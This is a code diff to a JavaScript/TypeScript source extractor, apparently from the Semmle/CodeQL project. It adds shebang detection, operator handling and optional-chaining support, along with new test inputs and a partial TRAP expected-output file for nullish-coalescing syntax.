import java.util.LinkedHashSet;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Pattern;
|
||||
@@ -38,6 +39,11 @@ public class FileExtractor {
|
||||
*/
|
||||
public static final Pattern JSON_OBJECT_START = Pattern.compile("^(?s)\\s*\\{\\s*\"([^\"]|\\\\.)*\"\\s*:.*");
|
||||
|
||||
/**
|
||||
* The charset for decoding UTF-8 strings.
|
||||
*/
|
||||
private static final Charset UTF8_CHARSET = Charset.forName("UTF-8");
|
||||
|
||||
/**
|
||||
* Information about supported file types.
|
||||
*/
|
||||
@@ -169,6 +175,11 @@ public class FileExtractor {
|
||||
if (isXml(bytes, length))
|
||||
return true;
|
||||
|
||||
// Avoid files with an unrecognized shebang header.
|
||||
if (hasUnrecognizedShebang(bytes, length)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
} catch (IOException e) {
|
||||
Exceptions.ignore(e, "Let extractor handle this one.");
|
||||
@@ -249,6 +260,38 @@ public class FileExtractor {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true if the byte sequence starts with a shebang line that is not
|
||||
* recognized as a JavaScript interpreter.
|
||||
*/
|
||||
private boolean hasUnrecognizedShebang(byte[] bytes, int length) {
|
||||
// Shebangs preceded by a BOM aren't recognized in UNIX, but the BOM might only
|
||||
// be present in the source file, to be stripped out in the build process.
|
||||
int startIndex = skipBOM(bytes, length);
|
||||
if (startIndex + 2 >= length) return false;
|
||||
if (bytes[startIndex] != '#' || bytes[startIndex + 1] != '!') {
|
||||
return false;
|
||||
}
|
||||
int endOfLine = -1;
|
||||
for (int i = startIndex; i < length; ++i) {
|
||||
if (bytes[i] == '\r' || bytes[i] == '\n') {
|
||||
endOfLine = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (endOfLine == -1) {
|
||||
// The shebang is either very long or there are no other lines in the file.
|
||||
// Treat this as unrecognized.
|
||||
return true;
|
||||
}
|
||||
// Extract the shebang text
|
||||
int startOfText = startIndex + "#!".length();
|
||||
int lengthOfText = endOfLine - startOfText;
|
||||
String text = new String(bytes, startOfText, lengthOfText, UTF8_CHARSET);
|
||||
// Check if the shebang is a recognized JavaScript intepreter.
|
||||
return !NODE_INVOCATION.matcher(text).find();
|
||||
}
|
||||
|
||||
@Override
|
||||
public IExtractor mkExtractor(ExtractorConfig config, ExtractorState state) {
|
||||
return new TypeScriptExtractor(config, state.getTypeScriptParser());
|
||||
|
||||
@@ -17,17 +17,17 @@ import com.semmle.js.extractor.trapcache.DummyTrapCache;
|
||||
import com.semmle.js.extractor.trapcache.ITrapCache;
|
||||
import com.semmle.js.parser.ParsedProject;
|
||||
import com.semmle.js.parser.TypeScriptParser;
|
||||
import com.semmle.ts.extractor.TypeTable;
|
||||
import com.semmle.ts.extractor.TypeExtractor;
|
||||
import com.semmle.ts.extractor.TypeTable;
|
||||
import com.semmle.util.data.StringUtil;
|
||||
import com.semmle.util.data.UnitParser;
|
||||
import com.semmle.util.defect.Language;
|
||||
import com.semmle.util.exception.ResourceError;
|
||||
import com.semmle.util.exception.UserError;
|
||||
import com.semmle.util.extraction.ExtractorOutputConfig;
|
||||
import com.semmle.util.files.FileUtil;
|
||||
import com.semmle.util.files.PathMatcher;
|
||||
import com.semmle.util.io.WholeIO;
|
||||
import com.semmle.util.language.LegacyLanguage;
|
||||
import com.semmle.util.process.ArgsParser;
|
||||
import com.semmle.util.process.ArgsParser.FileMode;
|
||||
import com.semmle.util.trap.TrapWriter;
|
||||
@@ -41,7 +41,7 @@ public class Main {
|
||||
* such a way that it may produce different tuples for the same file under the same
|
||||
* {@link ExtractorConfig}.
|
||||
*/
|
||||
public static final String EXTRACTOR_VERSION = "2018-11-12";
|
||||
public static final String EXTRACTOR_VERSION = "2018-12-19";
|
||||
|
||||
public static final Pattern NEWLINE = Pattern.compile("\n");
|
||||
|
||||
@@ -461,7 +461,7 @@ public class Main {
|
||||
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
new Main(new ExtractorOutputConfig(Language.JAVASCRIPT)).run(args);
|
||||
new Main(new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT)).run(args);
|
||||
} catch (UserError e) {
|
||||
System.err.println(e.getMessage());
|
||||
if (!e.reportAsInfoMessage())
|
||||
|
||||
@@ -4,6 +4,9 @@ import java.io.File;
|
||||
import java.io.StringWriter;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.Comparator;
|
||||
import java.util.List;
|
||||
import java.util.Map.Entry;
|
||||
|
||||
@@ -40,7 +43,9 @@ public class TrapTests {
|
||||
List<Object[]> testData = new ArrayList<Object[]>();
|
||||
|
||||
// iterate over all test groups
|
||||
for (String testgroup : BASE.list()) {
|
||||
List<String> testGroups = Arrays.asList(BASE.list());
|
||||
testGroups.sort(Comparator.naturalOrder());
|
||||
for (String testgroup : testGroups) {
|
||||
File root = new File(BASE, testgroup);
|
||||
if (root.isDirectory()) {
|
||||
// check for options.json file and process it if it exists
|
||||
@@ -78,7 +83,9 @@ public class TrapTests {
|
||||
testData.add(new Object[] { testgroup, "tsconfig", new ArrayList<String>(options) });
|
||||
} else {
|
||||
// create isolated tests for each input file in the group
|
||||
for (String testfile : inputDir.list()) {
|
||||
List<String> tests = Arrays.asList(inputDir.list());
|
||||
tests.sort(Comparator.naturalOrder());
|
||||
for (String testfile : tests) {
|
||||
testData.add(new Object[] { testgroup, testfile, new ArrayList<String>(options) });
|
||||
}
|
||||
}
|
||||
@@ -149,7 +156,13 @@ public class TrapTests {
|
||||
// convert to and from UTF-8 to mimick treatment of unencodable characters
|
||||
byte[] actual_utf8_bytes = StringUtil.stringToBytes(sw.toString());
|
||||
String actual = new String(actual_utf8_bytes, Charset.forName("UTF-8"));
|
||||
String expected = new WholeIO().strictreadText(new File(outputDir, f.getName() + ".trap"));
|
||||
File trap = new File(outputDir, f.getName() + ".trap");
|
||||
boolean replaceExpectedOutput = false;
|
||||
if (replaceExpectedOutput) {
|
||||
System.out.println("Replacing expected output for " + trap);
|
||||
new WholeIO().strictwrite(trap, actual);
|
||||
}
|
||||
String expected = new WholeIO().strictreadText(trap);
|
||||
expectedVsActual.add(Pair.make(expected, actual));
|
||||
}
|
||||
};
|
||||
|
||||
@@ -60,6 +60,7 @@ import com.semmle.js.ast.ImportSpecifier;
|
||||
import com.semmle.js.ast.InvokeExpression;
|
||||
import com.semmle.js.ast.LabeledStatement;
|
||||
import com.semmle.js.ast.Literal;
|
||||
import com.semmle.js.ast.LogicalExpression;
|
||||
import com.semmle.js.ast.MemberDefinition;
|
||||
import com.semmle.js.ast.MemberExpression;
|
||||
import com.semmle.js.ast.DeclarationFlags;
|
||||
@@ -825,8 +826,9 @@ public class TypeScriptASTConverter {
|
||||
Expression left = convertChild(node, "left");
|
||||
Expression right = convertChild(node, "right");
|
||||
JsonObject operatorToken = node.get("operatorToken").getAsJsonObject();
|
||||
String operatorKind = getKind(operatorToken);
|
||||
if ("CommaToken".equals(operatorKind)) {
|
||||
String operator = getSourceLocation(operatorToken).getSource();
|
||||
switch (operator) {
|
||||
case ",":
|
||||
List<Expression> expressions = new ArrayList<Expression>();
|
||||
if (left instanceof SequenceExpression)
|
||||
expressions.addAll(((SequenceExpression) left).getExpressions());
|
||||
@@ -837,10 +839,30 @@ public class TypeScriptASTConverter {
|
||||
else
|
||||
expressions.add(right);
|
||||
return new SequenceExpression(loc, expressions);
|
||||
} else {
|
||||
String operator = getSourceLocation(operatorToken).getSource();
|
||||
if ("EqualsToken".equals(operatorKind))
|
||||
left = convertLValue(left);
|
||||
|
||||
case "||":
|
||||
case "&&":
|
||||
return new LogicalExpression(loc, operator, left, right);
|
||||
|
||||
case "=":
|
||||
left = convertLValue(left); // For plain assignments, the lhs can be a destructuring pattern.
|
||||
return new AssignmentExpression(loc, operator, left, right);
|
||||
|
||||
case "+=":
|
||||
case "-=":
|
||||
case "*=":
|
||||
case "**=":
|
||||
case "/=":
|
||||
case "%=":
|
||||
case "^=":
|
||||
case "&=":
|
||||
case "|=":
|
||||
case ">>=":
|
||||
case "<<=":
|
||||
case ">>>=":
|
||||
return new AssignmentExpression(loc, operator, convertLValue(left), right);
|
||||
|
||||
default:
|
||||
return new BinaryExpression(loc, operator, left, right);
|
||||
}
|
||||
}
|
||||
@@ -860,7 +882,7 @@ public class TypeScriptASTConverter {
|
||||
}
|
||||
Expression callee = convertChild(node, "expression");
|
||||
List<ITypeExpression> typeArguments = convertChildrenAsTypes(node, "typeArguments");
|
||||
CallExpression call = new CallExpression(loc, callee, typeArguments, arguments);
|
||||
CallExpression call = new CallExpression(loc, callee, typeArguments, arguments, false, false);
|
||||
attachResolvedSignature(call, node);
|
||||
return call;
|
||||
}
|
||||
@@ -1057,7 +1079,7 @@ public class TypeScriptASTConverter {
|
||||
SourceLocation loc) throws ParseError {
|
||||
Expression object = convertChild(node, "expression");
|
||||
Expression property = convertChild(node, "argumentExpression");
|
||||
return new MemberExpression(loc, object, property, true);
|
||||
return new MemberExpression(loc, object, property, true, false, false);
|
||||
}
|
||||
|
||||
private Node convertEmptyStatement(SourceLocation loc) {
|
||||
@@ -1341,7 +1363,7 @@ public class TypeScriptASTConverter {
|
||||
} else {
|
||||
throw new ParseError("Unsupported syntax in import type", getSourceLocation(node).getStart());
|
||||
}
|
||||
MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false);
|
||||
MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false, false, false);
|
||||
attachSymbolInformation(member, node);
|
||||
return member;
|
||||
}
|
||||
@@ -1612,7 +1634,7 @@ public class TypeScriptASTConverter {
|
||||
if (hasChild(element, "dotDotDotToken")) {
|
||||
propVal = new RestElement(eltLoc, propKey);
|
||||
} else if (hasChild(element, "initializer")) {
|
||||
propVal = new AssignmentPattern(eltLoc, "=", propKey, convertChild(element, "initializer"));
|
||||
propVal = new AssignmentPattern(eltLoc, "=", convertChild(element, "name"), convertChild(element, "initializer"));
|
||||
} else {
|
||||
propVal = convertChild(element, "name");
|
||||
}
|
||||
@@ -1827,7 +1849,7 @@ public class TypeScriptASTConverter {
|
||||
|
||||
private Node convertPropertyAccessExpression(JsonObject node,
|
||||
SourceLocation loc) throws ParseError {
|
||||
return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false);
|
||||
return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false, false, false);
|
||||
}
|
||||
|
||||
private Node convertPropertyAssignment(JsonObject node,
|
||||
@@ -1868,7 +1890,7 @@ public class TypeScriptASTConverter {
|
||||
}
|
||||
|
||||
private Node convertQualifiedName(JsonObject node, SourceLocation loc) throws ParseError {
|
||||
MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false);
|
||||
MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false, false, false);
|
||||
attachSymbolInformation(expr, node);
|
||||
return expr;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
x1 ?? y1;
|
||||
|
||||
x2 || y2 ?? z2;
|
||||
x3 ?? y3 || z3;
|
||||
|
||||
x4 && y4 ?? z4;
|
||||
x5 ?? y5 && z5;
|
||||
13
javascript/extractor/tests/esnext/input/optional-chaining.js
Normal file
13
javascript/extractor/tests/esnext/input/optional-chaining.js
Normal file
@@ -0,0 +1,13 @@
|
||||
a1?.b1;
|
||||
|
||||
a2?.[x2];
|
||||
|
||||
a3?.b3();
|
||||
|
||||
a4?.();
|
||||
|
||||
o5?.3:2;
|
||||
|
||||
a6?.b6[x6].c6?.(y6).d6;
|
||||
|
||||
delete a?.b
|
||||
@@ -0,0 +1 @@
|
||||
new a?.();
|
||||
@@ -0,0 +1 @@
|
||||
a?.`{b}`;
|
||||
@@ -0,0 +1 @@
|
||||
new a?.b();
|
||||
@@ -0,0 +1 @@
|
||||
a?.b`{c}`;
|
||||
@@ -0,0 +1 @@
|
||||
a?.b = c;
|
||||
@@ -0,0 +1 @@
|
||||
new a.b?.c();
|
||||
@@ -0,0 +1,29 @@
|
||||
a?.b.c(++x).d;
|
||||
|
||||
a?.b[3].c?.(x).d;
|
||||
|
||||
(a?.b).c;
|
||||
|
||||
(a?.b.c).d;
|
||||
|
||||
a?.[b?.c?.d].e?.f;
|
||||
|
||||
a?.()[b?.().c?.().d].e?.().f;
|
||||
|
||||
if (a?.b) {
|
||||
true;
|
||||
} else {
|
||||
false;
|
||||
}
|
||||
|
||||
if (!a?.b) {
|
||||
true;
|
||||
} else {
|
||||
false;
|
||||
}
|
||||
|
||||
if (a?.b && c?.d) {
|
||||
true;
|
||||
} else {
|
||||
false;
|
||||
}
|
||||
@@ -0,0 +1,494 @@
|
||||
#10000=@"/nullish-coalescing.js;sourcefile"
|
||||
files(#10000,"/nullish-coalescing.js","nullish-coalescing","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,7,15"
|
||||
locations_default(#20002,#10000,1,1,7,15)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
stmts(#20003,2,#20001,0,"x1 ?? y1;")
|
||||
#20004=@"loc,{#10000},1,1,1,9"
|
||||
locations_default(#20004,#10000,1,1,1,9)
|
||||
hasLocation(#20003,#20004)
|
||||
stmtContainers(#20003,#20001)
|
||||
#20005=*
|
||||
exprs(#20005,107,#20003,0,"x1 ?? y1")
|
||||
#20006=@"loc,{#10000},1,1,1,8"
|
||||
locations_default(#20006,#10000,1,1,1,8)
|
||||
hasLocation(#20005,#20006)
|
||||
enclosingStmt(#20005,#20003)
|
||||
exprContainers(#20005,#20001)
|
||||
#20007=*
|
||||
exprs(#20007,79,#20005,0,"x1")
|
||||
#20008=@"loc,{#10000},1,1,1,2"
|
||||
locations_default(#20008,#10000,1,1,1,2)
|
||||
hasLocation(#20007,#20008)
|
||||
enclosingStmt(#20007,#20003)
|
||||
exprContainers(#20007,#20001)
|
||||
literals("x1","x1",#20007)
|
||||
#20009=@"var;{x1};{#20000}"
|
||||
variables(#20009,"x1",#20000)
|
||||
bind(#20007,#20009)
|
||||
#20010=*
|
||||
exprs(#20010,79,#20005,1,"y1")
|
||||
#20011=@"loc,{#10000},1,7,1,8"
|
||||
locations_default(#20011,#10000,1,7,1,8)
|
||||
hasLocation(#20010,#20011)
|
||||
enclosingStmt(#20010,#20003)
|
||||
exprContainers(#20010,#20001)
|
||||
literals("y1","y1",#20010)
|
||||
#20012=@"var;{y1};{#20000}"
|
||||
variables(#20012,"y1",#20000)
|
||||
bind(#20010,#20012)
|
||||
#20013=*
|
||||
stmts(#20013,2,#20001,1,"x2 || y2 ?? z2;")
|
||||
#20014=@"loc,{#10000},3,1,3,15"
|
||||
locations_default(#20014,#10000,3,1,3,15)
|
||||
hasLocation(#20013,#20014)
|
||||
stmtContainers(#20013,#20001)
|
||||
#20015=*
|
||||
exprs(#20015,107,#20013,0,"x2 || y2 ?? z2")
|
||||
#20016=@"loc,{#10000},3,1,3,14"
|
||||
locations_default(#20016,#10000,3,1,3,14)
|
||||
hasLocation(#20015,#20016)
|
||||
enclosingStmt(#20015,#20013)
|
||||
exprContainers(#20015,#20001)
|
||||
#20017=*
|
||||
exprs(#20017,45,#20015,0,"x2 || y2")
|
||||
#20018=@"loc,{#10000},3,1,3,8"
|
||||
locations_default(#20018,#10000,3,1,3,8)
|
||||
hasLocation(#20017,#20018)
|
||||
enclosingStmt(#20017,#20013)
|
||||
exprContainers(#20017,#20001)
|
||||
#20019=*
|
||||
exprs(#20019,79,#20017,0,"x2")
|
||||
#20020=@"loc,{#10000},3,1,3,2"
|
||||
locations_default(#20020,#10000,3,1,3,2)
|
||||
hasLocation(#20019,#20020)
|
||||
enclosingStmt(#20019,#20013)
|
||||
exprContainers(#20019,#20001)
|
||||
literals("x2","x2",#20019)
|
||||
#20021=@"var;{x2};{#20000}"
|
||||
variables(#20021,"x2",#20000)
|
||||
bind(#20019,#20021)
|
||||
#20022=*
|
||||
exprs(#20022,79,#20017,1,"y2")
|
||||
#20023=@"loc,{#10000},3,7,3,8"
|
||||
locations_default(#20023,#10000,3,7,3,8)
|
||||
hasLocation(#20022,#20023)
|
||||
enclosingStmt(#20022,#20013)
|
||||
exprContainers(#20022,#20001)
|
||||
literals("y2","y2",#20022)
|
||||
#20024=@"var;{y2};{#20000}"
|
||||
variables(#20024,"y2",#20000)
|
||||
bind(#20022,#20024)
|
||||
#20025=*
|
||||
exprs(#20025,79,#20015,1,"z2")
|
||||
#20026=@"loc,{#10000},3,13,3,14"
|
||||
locations_default(#20026,#10000,3,13,3,14)
|
||||
hasLocation(#20025,#20026)
|
||||
enclosingStmt(#20025,#20013)
|
||||
exprContainers(#20025,#20001)
|
||||
literals("z2","z2",#20025)
|
||||
#20027=@"var;{z2};{#20000}"
|
||||
variables(#20027,"z2",#20000)
|
||||
bind(#20025,#20027)
|
||||
#20028=*
|
||||
stmts(#20028,2,#20001,2,"x3 ?? y3 || z3;")
|
||||
#20029=@"loc,{#10000},4,1,4,15"
|
||||
locations_default(#20029,#10000,4,1,4,15)
|
||||
hasLocation(#20028,#20029)
|
||||
stmtContainers(#20028,#20001)
|
||||
#20030=*
|
||||
exprs(#20030,45,#20028,0,"x3 ?? y3 || z3")
|
||||
#20031=@"loc,{#10000},4,1,4,14"
|
||||
locations_default(#20031,#10000,4,1,4,14)
|
||||
hasLocation(#20030,#20031)
|
||||
enclosingStmt(#20030,#20028)
|
||||
exprContainers(#20030,#20001)
|
||||
#20032=*
|
||||
exprs(#20032,107,#20030,0,"x3 ?? y3")
|
||||
#20033=@"loc,{#10000},4,1,4,8"
|
||||
locations_default(#20033,#10000,4,1,4,8)
|
||||
hasLocation(#20032,#20033)
|
||||
enclosingStmt(#20032,#20028)
|
||||
exprContainers(#20032,#20001)
|
||||
#20034=*
|
||||
exprs(#20034,79,#20032,0,"x3")
|
||||
#20035=@"loc,{#10000},4,1,4,2"
|
||||
locations_default(#20035,#10000,4,1,4,2)
|
||||
hasLocation(#20034,#20035)
|
||||
enclosingStmt(#20034,#20028)
|
||||
exprContainers(#20034,#20001)
|
||||
literals("x3","x3",#20034)
|
||||
#20036=@"var;{x3};{#20000}"
|
||||
variables(#20036,"x3",#20000)
|
||||
bind(#20034,#20036)
|
||||
#20037=*
|
||||
exprs(#20037,79,#20032,1,"y3")
|
||||
#20038=@"loc,{#10000},4,7,4,8"
|
||||
locations_default(#20038,#10000,4,7,4,8)
|
||||
hasLocation(#20037,#20038)
|
||||
enclosingStmt(#20037,#20028)
|
||||
exprContainers(#20037,#20001)
|
||||
literals("y3","y3",#20037)
|
||||
#20039=@"var;{y3};{#20000}"
|
||||
variables(#20039,"y3",#20000)
|
||||
bind(#20037,#20039)
|
||||
#20040=*
|
||||
exprs(#20040,79,#20030,1,"z3")
|
||||
#20041=@"loc,{#10000},4,13,4,14"
|
||||
locations_default(#20041,#10000,4,13,4,14)
|
||||
hasLocation(#20040,#20041)
|
||||
enclosingStmt(#20040,#20028)
|
||||
exprContainers(#20040,#20001)
|
||||
literals("z3","z3",#20040)
|
||||
#20042=@"var;{z3};{#20000}"
|
||||
variables(#20042,"z3",#20000)
|
||||
bind(#20040,#20042)
|
||||
#20043=*
|
||||
stmts(#20043,2,#20001,3,"x4 && y4 ?? z4;")
|
||||
#20044=@"loc,{#10000},6,1,6,15"
|
||||
locations_default(#20044,#10000,6,1,6,15)
|
||||
hasLocation(#20043,#20044)
|
||||
stmtContainers(#20043,#20001)
|
||||
#20045=*
|
||||
exprs(#20045,107,#20043,0,"x4 && y4 ?? z4")
|
||||
#20046=@"loc,{#10000},6,1,6,14"
|
||||
locations_default(#20046,#10000,6,1,6,14)
|
||||
hasLocation(#20045,#20046)
|
||||
enclosingStmt(#20045,#20043)
|
||||
exprContainers(#20045,#20001)
|
||||
#20047=*
|
||||
exprs(#20047,44,#20045,0,"x4 && y4")
|
||||
#20048=@"loc,{#10000},6,1,6,8"
|
||||
locations_default(#20048,#10000,6,1,6,8)
|
||||
hasLocation(#20047,#20048)
|
||||
enclosingStmt(#20047,#20043)
|
||||
exprContainers(#20047,#20001)
|
||||
#20049=*
|
||||
exprs(#20049,79,#20047,0,"x4")
|
||||
#20050=@"loc,{#10000},6,1,6,2"
|
||||
locations_default(#20050,#10000,6,1,6,2)
|
||||
hasLocation(#20049,#20050)
|
||||
enclosingStmt(#20049,#20043)
|
||||
exprContainers(#20049,#20001)
|
||||
literals("x4","x4",#20049)
|
||||
#20051=@"var;{x4};{#20000}"
|
||||
variables(#20051,"x4",#20000)
|
||||
bind(#20049,#20051)
|
||||
#20052=*
|
||||
exprs(#20052,79,#20047,1,"y4")
|
||||
#20053=@"loc,{#10000},6,7,6,8"
|
||||
locations_default(#20053,#10000,6,7,6,8)
|
||||
hasLocation(#20052,#20053)
|
||||
enclosingStmt(#20052,#20043)
|
||||
exprContainers(#20052,#20001)
|
||||
literals("y4","y4",#20052)
|
||||
#20054=@"var;{y4};{#20000}"
|
||||
variables(#20054,"y4",#20000)
|
||||
bind(#20052,#20054)
|
||||
#20055=*
|
||||
exprs(#20055,79,#20045,1,"z4")
|
||||
#20056=@"loc,{#10000},6,13,6,14"
|
||||
locations_default(#20056,#10000,6,13,6,14)
|
||||
hasLocation(#20055,#20056)
|
||||
enclosingStmt(#20055,#20043)
|
||||
exprContainers(#20055,#20001)
|
||||
literals("z4","z4",#20055)
|
||||
#20057=@"var;{z4};{#20000}"
|
||||
variables(#20057,"z4",#20000)
|
||||
bind(#20055,#20057)
|
||||
#20058=*
|
||||
stmts(#20058,2,#20001,4,"x5 ?? y5 && z5;")
|
||||
#20059=@"loc,{#10000},7,1,7,15"
|
||||
locations_default(#20059,#10000,7,1,7,15)
|
||||
hasLocation(#20058,#20059)
|
||||
stmtContainers(#20058,#20001)
|
||||
#20060=*
|
||||
exprs(#20060,107,#20058,0,"x5 ?? y5 && z5")
|
||||
#20061=@"loc,{#10000},7,1,7,14"
|
||||
locations_default(#20061,#10000,7,1,7,14)
|
||||
hasLocation(#20060,#20061)
|
||||
enclosingStmt(#20060,#20058)
|
||||
exprContainers(#20060,#20001)
|
||||
#20062=*
|
||||
exprs(#20062,79,#20060,0,"x5")
|
||||
#20063=@"loc,{#10000},7,1,7,2"
|
||||
locations_default(#20063,#10000,7,1,7,2)
|
||||
hasLocation(#20062,#20063)
|
||||
enclosingStmt(#20062,#20058)
|
||||
exprContainers(#20062,#20001)
|
||||
literals("x5","x5",#20062)
|
||||
#20064=@"var;{x5};{#20000}"
|
||||
variables(#20064,"x5",#20000)
|
||||
bind(#20062,#20064)
|
||||
#20065=*
|
||||
exprs(#20065,44,#20060,1,"y5 && z5")
|
||||
#20066=@"loc,{#10000},7,7,7,14"
|
||||
locations_default(#20066,#10000,7,7,7,14)
|
||||
hasLocation(#20065,#20066)
|
||||
enclosingStmt(#20065,#20058)
|
||||
exprContainers(#20065,#20001)
|
||||
#20067=*
|
||||
exprs(#20067,79,#20065,0,"y5")
|
||||
#20068=@"loc,{#10000},7,7,7,8"
|
||||
locations_default(#20068,#10000,7,7,7,8)
|
||||
hasLocation(#20067,#20068)
|
||||
enclosingStmt(#20067,#20058)
|
||||
exprContainers(#20067,#20001)
|
||||
literals("y5","y5",#20067)
|
||||
#20069=@"var;{y5};{#20000}"
|
||||
variables(#20069,"y5",#20000)
|
||||
bind(#20067,#20069)
|
||||
#20070=*
|
||||
exprs(#20070,79,#20065,1,"z5")
|
||||
#20071=@"loc,{#10000},7,13,7,14"
|
||||
locations_default(#20071,#10000,7,13,7,14)
|
||||
hasLocation(#20070,#20071)
|
||||
enclosingStmt(#20070,#20058)
|
||||
exprContainers(#20070,#20001)
|
||||
literals("z5","z5",#20070)
|
||||
#20072=@"var;{z5};{#20000}"
|
||||
variables(#20072,"z5",#20000)
|
||||
bind(#20070,#20072)
|
||||
#20073=*
|
||||
lines(#20073,#20001,"x1 ?? y1;","
|
||||
")
|
||||
hasLocation(#20073,#20004)
|
||||
#20074=*
|
||||
lines(#20074,#20001,"","
|
||||
")
|
||||
#20075=@"loc,{#10000},2,1,2,0"
|
||||
locations_default(#20075,#10000,2,1,2,0)
|
||||
hasLocation(#20074,#20075)
|
||||
#20076=*
|
||||
lines(#20076,#20001,"x2 || y2 ?? z2;","
|
||||
")
|
||||
hasLocation(#20076,#20014)
|
||||
#20077=*
|
||||
lines(#20077,#20001,"x3 ?? y3 || z3;","
|
||||
")
|
||||
hasLocation(#20077,#20029)
|
||||
#20078=*
|
||||
lines(#20078,#20001,"","
|
||||
")
|
||||
#20079=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20079,#10000,5,1,5,0)
|
||||
hasLocation(#20078,#20079)
|
||||
#20080=*
|
||||
lines(#20080,#20001,"x4 && y4 ?? z4;","
|
||||
")
|
||||
hasLocation(#20080,#20044)
|
||||
#20081=*
|
||||
lines(#20081,#20001,"x5 ?? y5 && z5;","")
|
||||
hasLocation(#20081,#20059)
|
||||
numlines(#20001,7,5,0)
|
||||
#20082=*
|
||||
tokeninfo(#20082,6,#20001,0,"x1")
|
||||
hasLocation(#20082,#20008)
|
||||
#20083=*
|
||||
tokeninfo(#20083,8,#20001,1,"??")
|
||||
#20084=@"loc,{#10000},1,4,1,5"
|
||||
locations_default(#20084,#10000,1,4,1,5)
|
||||
hasLocation(#20083,#20084)
|
||||
#20085=*
|
||||
tokeninfo(#20085,6,#20001,2,"y1")
|
||||
hasLocation(#20085,#20011)
|
||||
#20086=*
|
||||
tokeninfo(#20086,8,#20001,3,";")
|
||||
#20087=@"loc,{#10000},1,9,1,9"
|
||||
locations_default(#20087,#10000,1,9,1,9)
|
||||
hasLocation(#20086,#20087)
|
||||
#20088=*
|
||||
tokeninfo(#20088,6,#20001,4,"x2")
|
||||
hasLocation(#20088,#20020)
|
||||
#20089=*
|
||||
tokeninfo(#20089,8,#20001,5,"||")
|
||||
#20090=@"loc,{#10000},3,4,3,5"
|
||||
locations_default(#20090,#10000,3,4,3,5)
|
||||
hasLocation(#20089,#20090)
|
||||
#20091=*
|
||||
tokeninfo(#20091,6,#20001,6,"y2")
|
||||
hasLocation(#20091,#20023)
|
||||
#20092=*
|
||||
tokeninfo(#20092,8,#20001,7,"??")
|
||||
#20093=@"loc,{#10000},3,10,3,11"
|
||||
locations_default(#20093,#10000,3,10,3,11)
|
||||
hasLocation(#20092,#20093)
|
||||
#20094=*
|
||||
tokeninfo(#20094,6,#20001,8,"z2")
|
||||
hasLocation(#20094,#20026)
|
||||
#20095=*
|
||||
tokeninfo(#20095,8,#20001,9,";")
|
||||
#20096=@"loc,{#10000},3,15,3,15"
|
||||
locations_default(#20096,#10000,3,15,3,15)
|
||||
hasLocation(#20095,#20096)
|
||||
#20097=*
|
||||
tokeninfo(#20097,6,#20001,10,"x3")
|
||||
hasLocation(#20097,#20035)
|
||||
#20098=*
|
||||
tokeninfo(#20098,8,#20001,11,"??")
|
||||
#20099=@"loc,{#10000},4,4,4,5"
|
||||
locations_default(#20099,#10000,4,4,4,5)
|
||||
hasLocation(#20098,#20099)
|
||||
#20100=*
|
||||
tokeninfo(#20100,6,#20001,12,"y3")
|
||||
hasLocation(#20100,#20038)
|
||||
#20101=*
|
||||
tokeninfo(#20101,8,#20001,13,"||")
|
||||
#20102=@"loc,{#10000},4,10,4,11"
|
||||
locations_default(#20102,#10000,4,10,4,11)
|
||||
hasLocation(#20101,#20102)
|
||||
#20103=*
|
||||
tokeninfo(#20103,6,#20001,14,"z3")
|
||||
hasLocation(#20103,#20041)
|
||||
#20104=*
|
||||
tokeninfo(#20104,8,#20001,15,";")
|
||||
#20105=@"loc,{#10000},4,15,4,15"
|
||||
locations_default(#20105,#10000,4,15,4,15)
|
||||
hasLocation(#20104,#20105)
|
||||
#20106=*
|
||||
tokeninfo(#20106,6,#20001,16,"x4")
|
||||
hasLocation(#20106,#20050)
|
||||
#20107=*
|
||||
tokeninfo(#20107,8,#20001,17,"&&")
|
||||
#20108=@"loc,{#10000},6,4,6,5"
|
||||
locations_default(#20108,#10000,6,4,6,5)
|
||||
hasLocation(#20107,#20108)
|
||||
#20109=*
|
||||
tokeninfo(#20109,6,#20001,18,"y4")
|
||||
hasLocation(#20109,#20053)
|
||||
#20110=*
|
||||
tokeninfo(#20110,8,#20001,19,"??")
|
||||
#20111=@"loc,{#10000},6,10,6,11"
|
||||
locations_default(#20111,#10000,6,10,6,11)
|
||||
hasLocation(#20110,#20111)
|
||||
#20112=*
|
||||
tokeninfo(#20112,6,#20001,20,"z4")
|
||||
hasLocation(#20112,#20056)
|
||||
#20113=*
|
||||
tokeninfo(#20113,8,#20001,21,";")
|
||||
#20114=@"loc,{#10000},6,15,6,15"
|
||||
locations_default(#20114,#10000,6,15,6,15)
|
||||
hasLocation(#20113,#20114)
|
||||
#20115=*
|
||||
tokeninfo(#20115,6,#20001,22,"x5")
|
||||
hasLocation(#20115,#20063)
|
||||
#20116=*
|
||||
tokeninfo(#20116,8,#20001,23,"??")
|
||||
#20117=@"loc,{#10000},7,4,7,5"
|
||||
locations_default(#20117,#10000,7,4,7,5)
|
||||
hasLocation(#20116,#20117)
|
||||
#20118=*
|
||||
tokeninfo(#20118,6,#20001,24,"y5")
|
||||
hasLocation(#20118,#20068)
|
||||
#20119=*
|
||||
